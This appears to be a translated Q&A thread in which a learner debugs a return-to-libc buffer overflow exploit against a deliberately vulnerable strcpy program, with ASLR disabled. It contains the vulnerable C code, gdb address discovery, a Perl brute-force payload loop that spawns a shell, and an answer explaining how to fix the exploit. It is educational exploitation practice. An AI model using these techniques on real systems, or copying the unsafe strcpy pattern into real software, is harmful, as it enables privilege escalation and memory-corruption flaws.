6

我正在处理缓冲区溢出问题,尤其是返回 libc 类型。

我有以下易受攻击的代码:

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
    char buffer[80];
    getchar();
    strcpy(buffer, argv[1]);
    return 1;
}

-fstack-protector我使用带有-mpreferred-stack-boundary=2标志的gcc-2.95 (no ) 编译它。我跟着回到了“黑客:剥削的艺术”的libc 章节。

首先,我禁用了 ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0

我找到了地址system

$ cat find_system.c
int main() {
    system("");
    return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>

我创建了一个环境变量来包含我想要执行的命令system

$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
    return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d

然后我制作了一个 perl 脚本来自动获取 shell:

$ cat script.pl
#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
    print "Perl count: $i\n";
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");

}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)

我哪里做错了?为什么我得到“非法指令”而不是我的外壳?

4

1 回答 1

6
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'

改变“A”的数量以测试各种故障。在 find python -c "print 'A'*73"(73 用于产生上述)有助于生成参数。

gdb 会准确地告诉您崩溃的位置以及崩溃时 EIP/RIP 上的内容。这应该会引导您回答您的问题。

最有可能的是,您在堆栈的返回地址中没有得到一个好的指针,并且执行降落在没有反汇编为有效指令的内存中。我想你离这里很近。分段错误更有可能是执行降落在甚至未分配的内存区域中。

用于(gdb) x/10i $eip识别崩溃时 EIP 上的指令。您可以通过更改该命令中的 10 来改变显示的反汇编长度。

您还需要弄清楚您对 system 的参数在堆栈上的哪个位置,以便将其置于调用约定中的适当位置以让 system 调用它。gdb 也应该能够在这里为您提供帮助(再次,使用x-x/4w也许 - 和i r)。

成功的利用需要上述两个部分:0xb7eb6680 必须在返回地址中,而 0xbffff96d 必须在系统要从中读取其第一个参数的任何位置。

另一个有用的技巧:在函数ret末尾设置断点。strcpy这是一个方便的地方,可以检查您的堆栈和注册状态并确定您将要做什么。这ret就是利用发生的地方:读取您提供的返回地址,处理器开始在该地址执行并且您关闭,假设您可以使用适当的参数来维持执行,无论您正在调用什么等等。程序的状态ret是成或断点,因此它是查看您的输入有什么问题以及为什么会或不会成功利用该漏洞的最简单的地方。

如果我的 gdb 语法没有成功,请原谅我……它不是我的主要调试器。

于 2012-11-27T01:56:44.713 回答